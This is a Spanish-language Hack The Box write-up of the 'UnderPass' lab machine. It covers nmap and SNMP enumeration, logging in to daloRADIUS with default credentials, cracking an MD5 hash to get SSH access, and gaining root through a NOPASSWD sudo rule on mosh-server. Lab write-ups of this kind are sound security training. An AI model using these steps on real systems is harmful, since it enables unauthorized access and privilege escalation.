Buscar en BreakSecure

Contenido recomendado

UnderPass

UnderPass es una máquina Linux de Hack The Box donde la enumeración UDP mediante SNMP revela una instalación de daloRADIUS. Credenciales por defecto permiten acceder al panel, recuperar el hash MD5 de svcMosh y finalmente abusar de mosh-server mediante sudo para obtener root.

Portada de UnderPass
Plataforma
Hack The Box
Sistema operativo
Linux
Dificultad
Fácil
Publicado
Autor
Pedro Vargas
Temas
  • Enumeration
  • UDP
  • SNMP
  • Snmpwalk
  • Community String
  • Daloradius
  • Default Credentials
  • Md5
  • Password Cracking
  • Crackstation
  • SSH
  • Sudo L
  • Mosh
  • Mosh Server
  • Escalamiento de Privilegios
En esta página

Resumen

UnderPass es una máquina Linux de dificultad Easy donde inicialmente solo encontramos SSH y HTTP por TCP. Al ampliar la enumeración hacia UDP descubrimos SNMP, que revela la existencia de daloRADIUS. Las credenciales por defecto del panel de operadores nos permiten recuperar y crackear el hash de svcMosh, acceder mediante SSH y finalmente abusar de un permiso sudo sobre mosh-server para conseguir una sesión como root.

Enumeración

Comenzamos realizando un escaneo completo de puertos TCP:

nmap -p- -vvv -T5 10.129.231.213

Únicamente encontramos dos puertos abiertos:

22 - SSH
80 - HTTP

Realizamos un segundo escaneo para identificar versiones y ejecutar los scripts básicos de Nmap:

nmap -p 22,80 -sVC -vvv -T5 -oA underpass_scan 10.129.231.213

El puerto 80 muestra una página por defecto de Apache y, en principio, no encontramos nada especialmente interesante.

Cuando la superficie TCP es tan limitada, vale la pena recordar que también existen servicios expuestos mediante UDP.

Enumeración UDP

Ejecutamos un escaneo contra los 100 puertos UDP más comunes:

nmap -sU --top-ports 100 10.129.58.190

Aquí aparece algo mucho más interesante:

161/udp - SNMP

Realizamos entonces un escaneo más específico:

nmap -sU -sV -p161 10.129.58.190

Tenemos SNMP expuesto.

Enumeración SNMP

Probamos la community string clásica:

public

utilizando SNMP versión 2c:

snmpwalk -v2c -c public 10.129.58.190

La consulta funciona y podemos recuperar bastante información del sistema.

Entre los resultados encontramos referencias a:

underpass.htb

y, mucho más importante:

daloRADIUS server

🎯 Ya tenemos una nueva pista.

Descubriendo daloRADIUS

Probamos directamente:

http://10.129.58.190/daloradius/

El servidor responde:

Forbidden
You don't have permission to access this resource.

Esto es diferente a recibir un 404 Not Found.

El recurso parece existir, pero Apache no permite listar o acceder directamente a ese directorio.

Sabiendo que estamos frente a daloRADIUS, revisamos la estructura del proyecto y encontramos que existen diferentes interfaces web.

Una de ellas corresponde al panel de operadores:

/daloradius/app/operators/login.php

Accedemos:

http://10.129.58.190/daloradius/app/operators/login.php

Y encontramos el formulario de autenticación.

Credenciales por defecto de daloRADIUS

La propia documentación de daloRADIUS establece unas credenciales iniciales para el panel administrativo:

administrator:radius

Probamos estas credenciales contra el panel de operadores y conseguimos entrar.

http://10.129.58.190/daloradius/app/operators/login.php

En mi caso también revisé la interfaz destinada a usuarios, pero estas credenciales pertenecen al panel administrativo de operators, por lo que es ahí donde funcionan.

Una vez dentro del dashboard comenzamos a revisar los usuarios configurados.

Obteniendo las credenciales de svcMosh

Dentro del panel encontramos un usuario:

svcMosh

junto con el siguiente hash:

412DD4759978ACFCC81DEAB01B382403

El valor corresponde a un hash:

MD5

En lugar de utilizar Hashcat, en esta ocasión simplemente lo comprobé en CrackStation:

https://crackstation.net/

El hash se resuelve como:

underwaterfriends

Tenemos entonces:

svcMosh:underwaterfriends

🔑 Ya podemos probar acceso al sistema.

Acceso mediante SSH

Nos conectamos:

ssh svcMosh@10.129.58.190

Utilizamos:

underwaterfriends

Y obtenemos una shell como:

svcMosh

Con esto ya podemos recuperar user.txt.

Ahora toca buscar una forma de escalar privilegios.

Enumeración de sudo

Una de las primeras comprobaciones es:

sudo -l

Encontramos:

(ALL) NOPASSWD: /usr/bin/mosh-server

Esto significa que svcMosh puede ejecutar:

/usr/bin/mosh-server

como cualquier usuario, incluido root, y sin proporcionar contraseña.

🎯 Nuestro vector de escalamiento está bastante claro.

¿Qué es Mosh?

Mosh, o Mobile Shell, es una alternativa a SSH diseñada para mantener sesiones interactivas estables incluso cuando cambia la conexión de red.

Su arquitectura utiliza dos componentes principales:

mosh
mosh-server

El cliente inicia mosh-server en el sistema remoto y posteriormente establece una sesión interactiva con él.

El problema en UnderPass es que podemos obligar al cliente a iniciar ese servidor utilizando:

sudo

Por lo tanto:

mosh client

sudo /usr/bin/mosh-server

mosh-server se ejecuta como root

nuestra sesión también queda como root

Escalamiento mediante mosh-server

Buscando formas de aprovechar el permiso encontré una técnica que permite indicar qué comando debe utilizar Mosh como servidor.

https://www.hackingdream.net/2020/03/linux-privilege-escalation-techniques.html

Sobre nuestra propia sesión SSH ejecutamos:

mosh --server="sudo /usr/bin/mosh-server" localhost

La opción:

--server

permite sustituir el comando utilizado para iniciar mosh-server.

En lugar de ejecutarlo normalmente, nosotros hacemos que se lance como:

sudo /usr/bin/mosh-server

Como tenemos permiso NOPASSWD, el servidor Mosh termina ejecutándose como root.

Mosh establece automáticamente la conexión contra localhost y nos entrega una nueva sesión.

Comprobamos:

whoami

Resultado:

root

¡UnderPass completada! 🚩

Conclusiones

UnderPass es una máquina corta pero demuestra muy bien la importancia de no limitarse únicamente a TCP. La enumeración UDP revela SNMP, que termina exponiendo daloRADIUS; desde ahí unas credenciales por defecto nos llevan hasta svcMosh, y un permiso inseguro de sudo sobre mosh-server permite conseguir root prácticamente de forma inmediata.

Herramientas utilizadas

  • Nmap
  • snmpwalk
  • daloRADIUS
  • CrackStation
  • SSH
  • Mosh

Referencias

https://www.youtube.com/watch?v=omuim3csvdY